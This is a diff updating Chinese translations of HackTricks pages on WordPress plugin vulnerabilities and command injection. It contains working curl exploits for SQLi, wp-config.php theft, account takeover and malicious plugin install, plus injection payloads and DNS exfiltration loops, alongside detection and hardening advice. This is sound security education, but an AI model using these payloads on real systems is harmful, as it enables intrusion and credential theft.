路由和插件语义,否则这些请求看起来像正常流量。 -攻击提示 +攻击端注意事项 -- 针对 plugin 特定端点使用干净的 payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- 先测试未认证路径(AJAX `nopriv`, REST 中带宽松的 `permission_callback`, 公开 shortcodes)。默认 payloads 往往在不做混淆的情况下就能成功。 -- 常见的高危情况:权限提升(broken access control)、任意文件上传/下载、LFI、open redirect。 +- 针对插件特定端点使用干净的 payloads:`admin-ajax.php?action=...`、`wp-json//`、自定义文件处理器、shortcodes。 +- 先尝试未授权路径(AJAX `nopriv`,REST 的宽松 `permission_callback`,公开 shortcodes)。默认 payloads 往往在不混淆的情况下就能成功。 +- 典型的高影响场景:权限提升(访问控制失效)、任意文件上传/下载、LFI、open redirect。 -防御提示 +防御注意事项 -- 不要依赖通用 WAF 签名来保护 plugin CVEs。应实施应用层、针对具体漏洞的虚拟补丁,或尽快更新。 -- 在代码中优先使用正向安全检查(capabilities、nonces、严格的输入验证),而不是基于否定的 regex 过滤。 +- 不要依赖通用的 WAF 签名来防护 plugin CVEs。应实现应用层、针对漏洞的虚拟补丁或尽快更新。 +- 在代码中优先采用正向安全检查(capabilities、nonces、严格的输入验证),而非基于否定的 regex 过滤。 -## WordPress Protection +## WordPress 防护 -### Regular Updates +### 定期更新 -确保 WordPress、plugins 和 themes 已更新到最新版本。还要确认在 wp-config.php 中启用了自动更新: +确保 WordPress、插件和主题均为最新。还要确认在 wp-config.php 中启用了自动更新: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -此外,**仅安装可信的 WordPress 插件和主题**。 +另外,**仅安装可信的 WordPress 插件和主题**。 ### 安全插件 @@ -591,13 +592,13 @@ add_filter( 'auto_update_theme', '__return_true' ); - 移除默认的 **admin** 用户 - 使用 **强密码** 和 **2FA** - 定期 **审查** 用户 **权限** -- **限制登录尝试** 以防止 Brute Force 攻击 -- 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。 +- **限制登录尝试次数** 以防止 Brute Force 攻击 +- 重命名 **`wp-admin.php`** 文件,并且仅允许内部或某些 IP 地址访问。 -### 未经身份验证的 SQL Injection(由于验证不足)(WP Job Portal <= 2.3.2) +### 由于验证不足导致的未认证 SQL Injection (WP Job Portal <= 2.3.2) -WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,最终在 `modules/category/model.php::validateFormData()` 中执行了以下易受攻击的代码: +WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,该任务最终在 `modules/category/model.php::validateFormData()` 中执行以下易受攻击的代码: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -607,11 +608,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -此片段引入的问题: +Issues introduced by this snippet: -1. **未清理的用户输入** – `parentid` 直接来自 HTTP 请求。 -2. **WHERE 子句中的字符串拼接** – 没有使用 `is_numeric()` / `esc_sql()` / prepared statement。 -3. **无需认证即可访问** – 虽然该 action 通过 `admin-post.php` 执行,但唯一的检查是 **CSRF nonce**(`wp_verify_nonce()`),任何访问者都可以从嵌入了短代码 `[wpjobportal_my_resumes]` 的公共页面获取到。 +1. **未对用户输入进行消毒** – `parentid` 直接来自 HTTP 请求。 +2. **在 WHERE 子句中使用字符串拼接** – 未使用 `is_numeric()` / `esc_sql()` / 预处理语句。 +3. **无需认证即可访问** – 虽然该操作通过 `admin-post.php` 执行,但唯一的检查是一个 **CSRF nonce** (`wp_verify_nonce()`),任何访问者都可以从包含 shortcode `[wpjobportal_my_resumes]` 的公开页面获取该 nonce。 #### 利用 @@ -627,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -响应会返回注入查询的结果或修改数据库,从而证明存在 SQLi。 +响应会泄露被注入查询的结果或修改数据库,从而证明存在 SQLi。 -### 未认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2) +### 未经认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2) -另一个任务 **downloadcustomfile** 允许访问者通过路径遍历下载磁盘上的 **任意文件**。易受攻击的 sink 位于 `modules/customfield/model.php::downloadCustomUploadedFile()`: +另一个任务, **downloadcustomfile**,允许访客通过路径遍历下载磁盘上的 **任何文件**。易受攻击的入口位于 `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` 是 attacker-controlled 并在拼接时 **未经过清理**。再次,唯一的门槛是一个 **CSRF nonce**,可以从简历页面获取。 +`$file_name` 由攻击者控制并在拼接时**未经过过滤**。再次,唯一的门槛是可以从简历页面获取的 **CSRF nonce**。 -#### Exploitation +#### 利用 ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -649,11 +650,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys. +服务器响应包含 `wp-config.php` 的内容,leaking DB credentials and auth keys。 -## 未经身份验证的账户接管通过 Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -许多主题/插件通过 admin-ajax.php 暴露“social login”辅助程序。如果一个未经身份验证的 AJAX 动作 (wp_ajax_nopriv_...) 在提供者数据缺失时信任客户端提供的标识符,并随后调用 wp_set_auth_cookie(),就会导致完全的身份验证绕过。 +许多 themes/plugins 通过 admin-ajax.php 提供 "social login" helpers。如果未认证的 AJAX action (wp_ajax_nopriv_...) 在 provider data 缺失时信任客户端提供的标识符,并随后调用 wp_set_auth_cookie(),则会导致完全的身份验证绕过。 典型的有缺陷的模式(简化) ```php @@ -684,17 +685,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -为何可被利用 +为什么可被利用 -- 可在未认证情况下通过 admin-ajax.php(wp_ajax_nopriv_… action)访问。 -- 在状态更改之前没有 nonce/capability checks。 +- 可以通过 admin-ajax.php(wp_ajax_nopriv_… action)在 unauthenticated 状态下访问。 +- 在状态改变之前没有 nonce/capability 检查。 - 缺少 OAuth/OpenID provider 验证;默认分支接受攻击者输入。 -- get_user_by('email', $_POST['id']) 随后调用 wp_set_auth_cookie($uid) 会将请求者认证为任意存在的邮箱地址。 +- get_user_by('email', $_POST['id']) 随后调用 wp_set_auth_cookie($uid) 会将请求者认证为任何现有的邮箱地址。 -利用(未认证) +Exploitation (unauthenticated) -- 先决条件:攻击者能够访问 /wp-admin/admin-ajax.php 并知道/猜测有效的用户邮箱。 -- 将 provider 设置为不受支持的值(或省略)以触发默认分支并传递 id=。 +- 前提条件:攻击者可以访问 /wp-admin/admin-ajax.php 并知道或猜到一个有效的用户邮箱。 +- 将 provider 设置为不受支持的值(或省略)以触发默认分支,并传递 id=。 ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -707,7 +708,7 @@ action=&using=bogus&id=admin%40example.com curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ -d "action=&using=bogus&id=admin%40example.com" ``` -预期成功指标 +Expected success indicators - HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. - Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. @@ -719,15 +720,15 @@ Finding the action name Detection checklist -- Web 日志显示未经身份验证的 POST 请求到 /wp-admin/admin-ajax.php,带有 social-login action 和 id=。 -- 从相同 IP/User-Agent 紧接出现成功 JSON 的 200 响应,随后出现已认证流量。 +- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. +- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. Hardening -- 不要从客户端输入推导身份。只接受来源于已验证 provider token/ID 的电子邮箱/ID。 -- 即便是 login helpers,也要要求 CSRF nonces 和 capability checks;除非绝对必要,否则避免注册 wp_ajax_nopriv_。 -- 在服务器端验证和校验 OAuth/OIDC 响应;拒绝缺失/无效的 providers(不要回退到 POST id)。 -- 考虑暂时禁用 social login 或在边缘进行虚拟打补丁(阻断易受攻击的 action),直到修复。 +- 不要从客户端输入推导身份。只接受来源于已验证 provider token/ID 的 emails/IDs。 +- 即使是 login helpers,也要要求 CSRF nonces 和 capability checks;除非绝对必要,避免注册 wp_ajax_nopriv_。 +- 在服务器端验证并核实 OAuth/OIDC 响应;拒绝缺失/无效的 providers(不要回退到 POST id)。 +- 在修复前,考虑临时禁用 social login 或在边缘进行虚拟补丁(阻止易受攻击的 action)。 Patched behaviour (Jobmonster 4.8.0) @@ -735,13 +736,13 @@ Patched behaviour (Jobmonster 4.8.0) ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) -一些插件暴露 REST endpoints,会铸造可重用的 “connection keys” 或 tokens,而不验证调用者的 capabilities。如果路由仅对可猜测的属性(例如 username)进行认证,且没有将 key 绑定到带有 capability checks 的 user/session,任何未经认证的攻击者都可以铸造一个 key 并调用有特权的操作(创建 admin 账号、插件操作 → RCE)。 +一些插件公开了 REST endpoints,会在未验证调用者权限的情况下铸造可重用的 “connection keys” 或 tokens。如果该路由仅基于可猜测的属性(例如 username)进行认证,且没有将密钥绑定到带有 capability checks 的用户/会话,任何未认证的攻击者都可以铸造密钥并调用特权操作(创建 admin 账户、插件操作 → RCE)。 - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback - Impact: full takeover by chaining the minted key to internal privileged actions -PoC – mint a connection key and use it +PoC – 铸造一个 connection key 并使用它 ```bash # 1) Obtain key (unauthenticated). Exact payload varies per plugin curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ @@ -755,29 +756,29 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ -H 'X-Connection-Key: ' \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` -为何可被利用 -- 敏感的 REST 路由仅由低熵的身份凭证(username)或缺失的 permission_callback 保护 -- 没有 capability 强制;生成的密钥被当作通用绕过 +为什么可被利用 +- 敏感的 REST 路由仅通过低熵的身份证明(用户名)保护,或缺少 permission_callback +- 未进行 capability 强制检查;生成的密钥被当作通用绕过凭证 -检测清单 -- 使用 grep 在插件代码中搜索 register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- 任何基于请求提供的身份(username/email)发放 tokens/keys 的路由,且未绑定到已认证用户或 capability -- 查找后续路由,它们在没有服务器端 capability 检查的情况下接受生成的 token/key +Detection checklist +- 在插件代码中 grep 寻找 register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- 任何基于请求提供的身份(用户名/电子邮件)发放令牌/密钥,但未关联到已认证用户或 capability 的路由 +- 查找后续路由,它们接受生成的令牌/密钥却没有进行服务端的 capability 检查 加固 -- 对于任何有特权的 REST 路由:要求 permission_callback 强制执行 current_user_can() 来检查所需的 capability -- 不要基于客户端提供的身份发放长期有效的密钥;如确有必要,应在认证后发放短期、绑定用户的 tokens,并在使用时重新检查 capability -- 验证调用者的用户上下文(仅调用 wp_set_current_user 不足以证明)并拒绝满足 !is_user_logged_in() || !current_user_can() 的请求 +- 对于任何有权限的 REST 路由:要求 permission_callback,且在其内使用 current_user_can() 来检查所需的 capability +- 不要根据客户端提供的身份铸造长寿命密钥;如有必要,应在认证后签发短期、绑定用户的令牌,并在使用时重新检查 capability +- 验证调用者的用户上下文(仅调用 wp_set_current_user 不足以保证)并拒绝满足 !is_user_logged_in() || !current_user_can() 的请求 --- -## Nonce gate misuse → 未认证的任意插件安装 (FunnelKit Automations ≤ 3.5.3) +## Nonce 门滥用 → 未认证的任意插件安装 (FunnelKit Automations ≤ 3.5.3) -Nonces 是用来防止 CSRF 的,不是用来做授权。如果代码将 nonce 验证通过视为通行证,然后跳过对特权操作(例如 install/activate plugins)的 capability 检查,未认证的攻击者可以满足一个弱 nonce 要求并通过安装带后门或存在漏洞的插件达到 RCE。 +Nonces 用于防止 CSRF,而不是用于授权。如果代码把 nonce 验证通过当作放行,然后跳过对特权操作的 capability 检查(例如安装/激活 插件),未认证的攻击者可以满足弱的 nonce 要求,通过安装带后门或有漏洞的插件达到 RCE。 -- Vulnerable path: plugin/install_and_activate -- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” -- Impact: full compromise via arbitrary plugin install/activation +- 易受影响的路径: plugin/install_and_activate +- 漏洞:弱的 nonce hash 检查;nonce “通过” 后没有 current_user_can('install_plugins'|'activate_plugins') 检查 +- 影响:通过任意插件安装/激活导致完全妥协 PoC(具体形式取决于插件;仅作示例) ```bash @@ -785,24 +786,24 @@ curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` -检测清单 -- 修改插件/主题的 REST/AJAX 处理程序仅使用 wp_verify_nonce()/check_admin_referer(),且没有权限检查 -- 在 nonce 验证之后将 $skip_caps = true 的任何代码路径 +Detection checklist +- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check +- Any code path that sets $skip_caps = true after nonce validation -加固 -- 始终仅将 nonces 视为 CSRF tokens;不论 nonce 状态如何,都要强制执行权限检查 -- 在到达安装器代码之前,要求 current_user_can('install_plugins') 和 current_user_can('activate_plugins') -- 拒绝未认证访问;避免为高权限流程暴露 nopriv AJAX actions +Hardening +- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state +- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code +- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows --- -## depicter-* actions 中通过 s (search) 参数触发的未认证 SQLi(Depicter Slider ≤ 3.6.1) +## 未经认证的 SQLi 通过 depicter-* actions 中的 s (search) 参数 (Depicter Slider ≤ 3.6.1) -多个 depicter-* actions 使用了 s (search) 参数,并将其拼接进 SQL 查询,未使用参数化。 +Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization. -- 参数:s (search) -- 缺陷:在 WHERE/LIKE 子句中直接进行字符串拼接;未使用预处理语句或输入清理 -- 影响:数据库数据外泄(用户、哈希),可能导致横向移动 +- Parameter: s (search) +- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization +- Impact: database exfiltration (users, hashes), lateral movement PoC ```bash @@ -811,38 +812,38 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode 'action=depicter_search' \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` -检测清单 -- grep 查找 depicter-* action handlers 并检查在 SQL 中直接使用 $_GET['s'] 或 $_POST['s'] -- 审查传入 $wpdb->get_results()/query() 且对 s 进行拼接的自定义查询 +Detection checklist +- Grep depicter-* action handlers 并检查在 SQL 中直接使用 $_GET['s'] 或 $_POST['s'] +- 审查传入 $wpdb->get_results()/query() 的自定义查询,是否通过串联包含 s -加固 -- 始终使用 $wpdb->prepare() 或 wpdb 占位符;在服务器端拒绝意外的元字符 -- 为 s 添加严格的允许列表并规范化为预期的字符集/长度 +Hardening +- 始终使用 $wpdb->prepare() 或 wpdb placeholders;在服务器端拒绝意外的元字符 +- 为 s 添加严格的允许列表,并规范化为预期的字符集/长度 --- -## 无需认证的 Local File Inclusion(通过未验证的 template/文件路径) (Kubio AI Page Builder ≤ 2.5.1) +## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) -在 template 参数中接受可被攻击者控制的路径而不进行规范化/限制,会允许读取任意本地文件;如果将可被包含的 PHP 或 log 文件拉入运行时,某些情况下甚至可能导致代码执行。 +在模板参数中接受攻击者控制的路径而不进行规范化/限制,允许读取任意本地文件,并且如果将可包含的 PHP/日志文件拉入运行时,有时会导致代码执行。 -- Parameter: __kubio-site-edit-iframe-classic-template -- Flaw: 没有规范化/允许列表;允许遍历 -- Impact: 敏感信息泄露 (wp-config.php),在特定环境下可能导致 RCE(log poisoning、可被包含的 PHP) +- 参数: __kubio-site-edit-iframe-classic-template +- 缺陷: 未进行规范化/允许列表限制;允许遍历 +- 影响: 机密披露 (wp-config.php),在特定环境中可能导致 RCE(log poisoning, includable PHP) PoC – 读取 wp-config.php ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` -Detection checklist -- 任何将请求路径拼接到 include()/require()/read sink 的处理程序,且未使用 realpath() 进行包含限制 -- 寻找到达预期 templates 目录之外的遍历模式 (../) +检测清单 +- 任何 handler 将请求路径串联到 include()/require()/read sinks 中且未使用 realpath() 进行限制 +- 查找 traversal 模式 (../) 导致超出预期 templates 目录 -Hardening -- 强制使用白名单模板;使用 realpath() 解析并要求 str_starts_with(realpath(file), realpath(allowed_base)) -- 规范化输入;拒绝目录遍历序列和绝对路径;仅在文件名上使用 sanitize_file_name()(不要用于完整路径) +加固 +- 强制使用 allowlisted templates;使用 realpath() 解析并要求 str_starts_with(realpath(file), realpath(allowed_base)) +- 规范化输入;拒绝 traversal 序列和绝对路径;仅对文件名(非完整路径)使用 sanitize_file_name() -## References +## 参考资料 - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 67260335c..0b1bb57bb 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## What is command Injection? +## 什么是 command Injection? -一个 **command injection** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能被完全入侵或破坏。这些命令的执行通常使攻击者能够获得对应用程序运行环境和底层系统的未授权访问或控制。 +A **command injection** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。 因此,应用程序及其所有数据可能会被完全妥协。 执行这些命令通常使攻击者能够未授权地访问或控制应用程序的环境和底层系统。 -### Context +### 上下文 -取决于 **你的输入被注入的位置**,你可能需要在命令之前**终止被引用的上下文**(使用 `"` 或 `'`)才能执行命令。 +根据**你的输入被注入的位置**,在执行命令之前,你可能需要**终止引号上下文**(使用 `"` 或 `'`)才能插入命令。 ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **限制** 绕过 +### **Limition** 绕过 -如果你想在 **linux 机器内执行任意命令**,你可能会对这些 **绕过方法** 感兴趣: +如果你正在尝试在 **arbitrary commands inside a linux machine** 上执行命令,你会有兴趣阅读这些 **Bypasses:** {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### 参数 -下面列出可能容易受到 code injection 以及类似 RCE 漏洞影响的前 25 个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)): +下面列出可能易受 code injection 和类似 RCE 漏洞影响的前 25 个参数(来自 [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -基于来自 `https://github.com/HoLyVieR/dnsbin` 的工具,也托管在 dnsbin.zhack.ca +基于工具 `https://github.com/HoLyVieR/dnsbin`,也托管在 dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -用于检查基于 DNS 的 data exfiltration 的在线工具: +可用于检查 DNS based data exfiltration 的在线工具: - dnsbin.zhack.ca - pingb.in -### 绕过过滤 +### Filtering bypass #### Windows ``` @@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### Node.js `child_process.exec` vs `execFile` +### Node.js `child_process.exec` 与 `execFile` -在审计 JavaScript/TypeScript 后端时,你经常会遇到 Node.js `child_process` API。 +在审计 JavaScript/TypeScript 后端时,通常会遇到 Node.js 的 `child_process` API。 ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` 会生成一个 **shell** (`/bin/sh -c`),因此任何对 shell 有特殊意义的字符(反引号、`;`、`&&`、`|`、`$()`、…)在将用户输入拼接到字符串中时都会导致 **command injection**。 +`exec()` spawns a **shell** (`/bin/sh -c`),因此任何对 shell 有特殊意义的字符(反引号, `;`, `&&`, `|`, `$()`, …)在将用户输入拼接到字符串时都会导致 **command injection**。 -**缓解措施:** 使用 `execFile()`(或在不启用 `shell` 选项的情况下使用 `spawn()`),并将 **每个参数作为单独的数组元素** 提供,这样就不会涉及 `shell`: +**缓解:** 使用 `execFile()`(或在不带 `shell` 选项的情况下使用 `spawn()`),并将 **每个参数作为单独的数组元素** 提供,这样就不会涉及 shell: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,25 +140,25 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -真实案例: *Synology Photos* ≤ 1.7.0-0794 可通过一次未认证的 WebSocket 事件被利用,该事件将攻击者控制的数据放入 `id_user`,后来该值被嵌入到 `exec()` 调用中,导致 RCE (Pwn2Own Ireland 2024)。 +Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -并非所有注入都需要 shell metacharacters。如果应用将不受信任的字符串作为参数传给系统工具(即使使用 `execve`/`execFile` 且没有 shell),许多程序仍会将以 `-` 或 `--` 开头的参数解析为选项。这样攻击者就可以切换模式、更改输出路径或触发危险行为,而无需进入 shell。 +并非所有注入都需要 shell 元字符。如果应用将不受信任的字符串作为参数传递给系统工具(即使使用了 `execve`/`execFile` 并且没有经过 shell),许多程序仍会把以 `-` 或 `--` 开头的参数解析为选项。这样攻击者就可以切换模式、更改输出路径,或触发危险行为,而无需进入 shell。 -典型出现位置: +常见出现位置: -- 构建诸如 `ping `、`tcpdump -i -w `、`curl ` 等命令的嵌入式 web UIs/CGI 处理器。 -- 集中式 CGI 路由(例如 `/cgi-bin/.cgi`,带有像 `topicurl=` 这样的选择器参数),多个处理器重用相同弱校验器的情况。 +- 嵌入式 web UIs/CGI handlers that build commands like `ping `, `tcpdump -i -w `, `curl `, etc. +- 集中式 CGI 路由器(例如 `/cgi-bin/.cgi`,带有选择器参数如 `topicurl=`),多个处理程序重用相同的弱验证器时会出现此类问题。 -可尝试的方法: +尝试方法: -- 提供以 `-`/`--` 开头的值,让下游工具将其作为 flags 消耗。 -- 滥用会改变行为或写入文件的 flags,例如: - - `ping`:`-f`/`-c 100000` 来压榨设备(DoS) - - `curl`:`-o /tmp/x` 写入任意路径,`-K ` 加载攻击者控制的配置 - - `tcpdump`:`-G 1 -W 1 -z /path/script.sh` 在不安全的包装器中实现轮换后执行 -- 如果程序支持 `--` end-of-options,尝试绕过在错误位置预置 `--` 的简单缓解措施。 +- 提供以 `-`/`--` 开头的值供下游工具作为标志解析。 +- 滥用会改变行为或写入文件的标志,例如: +- `ping`:使用 `-f`/`-c 100000` 使设备过载(DoS) +- `curl`:使用 `-o /tmp/x` 写入任意路径,使用 `-K ` 加载攻击者控制的配置 +- `tcpdump`:使用 `-G 1 -W 1 -z /path/script.sh` 在不安全的包装器中实现轮转后执行 +- 如果程序支持 `--` end-of-options,尝试绕过那些在错误位置预置 `--` 的幼稚缓解措施。 Generic PoC shapes against centralized CGI dispatchers: ``` @@ -171,7 +171,7 @@ topicurl=¶m=-n # Unauthenticated RCE when a handler concatenates into a shell topicurl=setEasyMeshAgentCfg&agentName=;id; ``` -## Brute-Force 检测列表 +## 暴力破解检测列表 {{#ref}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 0f9c39952..dff57cb4b 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -2,56 +2,56 @@ {{#include ../banners/hacktricks-training.md}} -## HackTricks 价值观 +## HackTricks Values > [!TIP] -> 这是 **HackTricks 项目** 的**价值观**: +> 这些是 **HackTricks 项目** 的**价值观**: > -> - 为整个互联网提供 **免费** 的 **教育性 hacking** 资源。 -> - Hacking 是关于学习的,学习应该尽可能免费。 -> - 本书的目的是作为一个综合性的 **教育资源**。 -> - **存储** 社区发布的精彩 **hacking** 技术,并将 **原始** **作者** 的所有 **署名** 归于他们。 -> - **我们不想拿别人的功劳**,我们只是想为大家保存很酷的技巧。 -> - 我们也在 HackTricks 中撰写 **我们自己的研究**。 -> - 在若干情况下,我们只会在 HackTricks 中撰写该技术重要部分的 **摘要**,并会 **鼓励读者访问原始文章** 以获取更多细节。 -> - **组织** 书中的所有 **hacking** 技术,使其 **更易获取** -> - HackTricks 团队免费投入了数千小时,**仅用于组织内容**,以便人们能 **更快学习** +> - 为**全体互联网**提供**FREE** 的 **EDUCATIONAL hacking** 资源。 +> - Hacking 是关于学习的,学习应尽可能免费。 +> - 本书的目的是作为一个综合的**教育资源**。 +> - **STORE** 社区发布的精彩 **hacking** 技术,并给予 **ORIGINAL AUTHORS** 所有的**credits**。 +> - **我们不想从他人那里获取荣誉**,我们只是想为所有人保存很酷的技巧。 +> - 我们也会在 HackTricks 中撰写**我们自己的研究**。 +> - 在若干情况下,我们只会在 **HackTricks 中总结该技术的重要部分** 并**鼓励读者访问原文以获取更多细节**。 +> - **ORGANIZE** 书中所有的 hacking 技术,使其**更易获取** +> - HackTricks 团队无偿投入了数千小时**仅用于组织内容**,以便人们**更快学习**
-## HackTricks 常见问题 +## HackTricks faq > [!TIP] > -> - **非常感谢这些资源,我该如何表达谢意?** +> - **Thank you so much for these resources, how can I thank you?** -你可以在公开的推文中感谢 HackTricks 团队整理这些资源,提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -如果你特别感激,你也可以在此 [**赞助该项目**](https://github.com/sponsors/carlospolop).\ -别忘了在 Github 项目上 **点个星!**(链接见下方)。 +你可以在推特上发布一条提到 [**@hacktricks_live**](https://twitter.com/hacktricks_live) 的推文,公开感谢 HackTricks 团队汇集这些资源。\ +如果你特别感激,你也可以 [**sponsor the project here**](https://github.com/sponsors/carlospolop)。\ +别忘了在 Github 项目中 **给个 star!**(链接见下方)。 > [!TIP] > -> - **如何为该项目做贡献?** +> - **How can I contribute to the project?** -你可以通过向相应的 Github 页面提交一个 **Pull Request** 来**与社区分享新的技巧或修复书中的 bug**: +你可以通过向社区**分享新的 tips and tricks 或修复** 你在书中发现的 bug,向相应的 Github 页面发送 **Pull Request**: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -别忘了在 Github 项目上 **点个星!** +别忘了在 Github 项目中 **给个 star!** > [!TIP] > -> - **我可以复制 HackTricks 的部分内容并放到我的博客吗?** +> - **Can I copy some content from HackTricks and put it in my blog?** -可以,但 **不要忘记提及内容来源的具体链接**。 +可以,但**别忘了注明内容来源的具体链接**。 > [!TIP] > -> - **如何引用 HackTricks 的某个页面?** +> - **How can I reference a page of HackTricks?** -只要显示你获取信息的页面的链接就足够了。\ -如果你需要 bibtex,你可以使用如下格式: +只要出现你获取信息的页面链接就足够了。\ +如果你需要 bibtex,你可以使用类似: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,51 +62,51 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Can I copy all HackTricks in my blog?** -> -> **我宁愿不要**。那样做**不会对任何人有好处**,因为所有内容已经在官方的 HackTricks 书籍中免费公开提供。 -> -> 如果你担心内容会消失,只要在 Github 上 fork 它或下载它,就像我说的,这些内容已经是免费的。 -> +> - **我可以把所有 HackTricks 的内容复制到我的博客上吗?** + +**我不建议这样做**。这对任何人都**没有好处**,因为所有内容已经在官方的 HackTricks 书中以**免费**形式公开提供。 + +如果你担心内容会消失,只需在 Github 上 fork 或下载,就像我说的那样,它已经是免费的。 + > [!WARNING] > -> - **Why do you have sponsors? Are HackTricks books for commercial purposes?** -> -> 第一个 **HackTricks** 的 **价值观** 是为**全世界的每个人**提供**免费**的黑客教育资源。HackTricks 团队投入了**数千小时**来提供这些内容,同样是**免费**的。 -> -> 如果你认为 HackTricks 书籍是为了**商业目的**而制作的,你**完全错了**。 -> -> 